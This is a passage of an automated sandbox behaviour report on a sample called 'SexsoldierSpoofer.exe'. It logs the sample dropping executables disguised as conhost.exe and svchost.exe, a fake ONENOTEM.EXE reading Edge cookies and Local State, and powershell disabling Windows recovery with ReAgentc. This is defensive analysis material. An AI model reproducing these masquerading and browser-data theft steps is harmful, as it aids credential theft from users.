140100000a00000000000000ab3f0000020000000000000068d9ff000cd9ff00226e8c7400003d03000000002d6e8c743e80ae522d000000ecb7cf7590d9ff0000003103800b5c03a84658030d00000080000000d0d8ff000000310354d9ff0070c88d74ca28c326feffffff2d000000d0ccde752700000024d9ff00856a8e741c23937464d9ff00f85f8e7408000000bb698d74b2698d745680ae522d000000ecb7cf7527000000d0ccde7538d9ff002d000000d0ccde752700000068d9ff00856a8e741c239374b0d9ff007e8add75ee8cdd75738add755fd146202d000000ecb7cf7527000000d0ccde75fc283d0390283d035fd1462078d9ff00fc521b7664daff00e084dd75d7f9a056feffffff738add75 (UID: 00000000-00004224) "conhost.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004224) "RPZ-HWID.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007748)33:T761,"SexsoldierSpoofer.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000530059005300540045004d00330032005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c0000002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000064006c006c0000003300 (UID: 00000000-00004648) "conhost.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000 (UID: 00000000-00004224) "svchost.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003232) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000005c0000000000630000000000000001000000740014000000e0ef0603000000000100000001000000000000002c000000a839070300000000140000000a000000000000000000000000006f005801070314000000000000000000000000000000000000000000000000006e0000000000670000000b00000b (UID: 00000000-00002136) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000001e038000000000000000a114000044ccec09ee13d67780000000ee13d677000000000000000080000000f0620f700000000064ccec0950728c7400001e030000000080000000f0620f7002000000002f0f7080ccec09fb620f700100000080041070885f8e740000000033f58b0cb0ccec09b8640f70f42e0f70 (UID: 00000000-00002136)34:T737,"SexsoldierSpoofer.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "SexsoldierSpoofer.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "conhost.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "conhost.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "RPZ-HWID.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "svchost.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "svchost.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ONENOTEM.EXE" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ONENOTEM.EXE" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")35:T4d4,Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "Sexsoldier Spoofer.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "Sexsoldier Spoofer.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00002136.00000000.136196.70865000.00000002.mdmp")36:Tc0e,"svchost.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")37:Te99,"conhost.exe" queries volume information of "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\conhost.exe" at 00000000-00004224-00000C17-1105726325 "svchost.exe" queries volume information of "C:\Program Files (x86)" at 00000000-00004952-00000C17-1112070449 "svchost.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00004952-00000C17-1112071019 "svchost.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\SystemData\svchost.exe" at 00000000-00003232-00000C17-1107735757 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages" at 00000000-00005500-00000C17-1118206350 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00005500-00000C17-1118344181 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data" at 00000000-00005500-00000C17-1118372926 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" at 00000000-00005500-00000C17-1118428925 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Last Browser" at 00000000-00005500-00000C17-1119352555 "ONENOTEM.EXE" queries volume information of "C:\Program Files (x86)\windows nt\ONENOTEM.EXE" at 00000000-00005500-00000C17-1119353246 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Ad Blocking" at 00000000-00005500-00000C17-1124858226 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent" at 00000000-00005500-00000C17-1124859053 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Autofill" at 00000000-00005500-00000C17-1124859782 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics" at 00000000-00005500-00000C17-1124860525 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation" at 00000000-00005500-00000C17-1124867679 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Crashpad" at 00000000-00005500-00000C17-1124898945 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default" at 00000000-00005500-00000C17-1124907406 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005500-00000C17-1125283084 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005500-00000C17-1126335788 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005500-00000C17-1126374775 "ONENOTEM.EXE" queries volume information of "C:\Users\Mi3iV5O" at 00000000-00005500-00000C17-1126398774 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005500-00000C17-1126409081 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005500-00000C17-1126436388 "ONENOTEM.EXE" queries volume information of "C:\Users\Mi3iV5O" at 00000000-00005500-00000C17-1126454523 "ONENOTEM.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005500-00000C17-112646370438:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")39:Ta9f,"SexsoldierSpoofer.exe" called "CreateProcessW" with parameter ""%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\conhost.exe"" - (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "CreateProcessW" with parameter ""%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.exe"" - (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "CreateProcessW" with parameter ""%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\svchost.exe"" - (UID: 00000000-00004648) "conhost.exe" called "CreateProcessW" with parameter ""%APPDATA%\SystemData\svchost.exe"" - (UID: 00000000-00004224) "svchost.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\windows nt\ONENOTEM.EXE"" - (UID: 00000000-00004952) "svchost.exe" called "CreateProcessW" with parameter ""%TEMP%\svchost.exe"" - (UID: 00000000-00003232) "ONENOTEM.EXE" called "CreateProcessW" with parameter "powershell.exe" - (UID: 00000000-00005500) "ONENOTEM.EXE" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\ONENOTEM.EXE" -" - (UID: 00000000-00005500) "ONENOTEM.EXE" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Google\Chrome\Application\ONENOTEM.EXE" -" - (UID: 00000000-00005500) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\ReAgentc.exe" /disable" - (UID: 00000000-00002136) "svchost.exe" called "CreateProcessW" with parameter ""%TEMP%\MicrosoftEdgeWebview2Setup.exe" /silent /install" - (UID: 00000000-00003088) "MicrosoftEdgeWebview2Setup.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe" /silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3" - (UID: 00000000-00007060), "MicrosoftEdgeUpdate.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regsvc" - (UID: 00000000-00007728), "MicrosoftEdgeUpdate.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regserver" - (UID: 00000000-00007728), "MicrosoftEdgeUpdate.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cm" - (UID: 00000000-00007728), "MicrosoftEdgeUpdate.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&app" - (UID: 00000000-00007728) "MicrosoftEdgeUpdate.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateComRegisterShell64.exe"" - (UID: 00000000-00005096)3a:Taba3,"SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004648) "conhost.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004224) "conhost.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00004224) "RPZ-HWID.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007748) "RPZ-HWID.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007748) "RPZ-HWID.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007748) "RPZ-HWID.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007748) "svchost.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00004952) "svchost.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003232) "svchost.exe" called "LoadLibrary" with a parameter 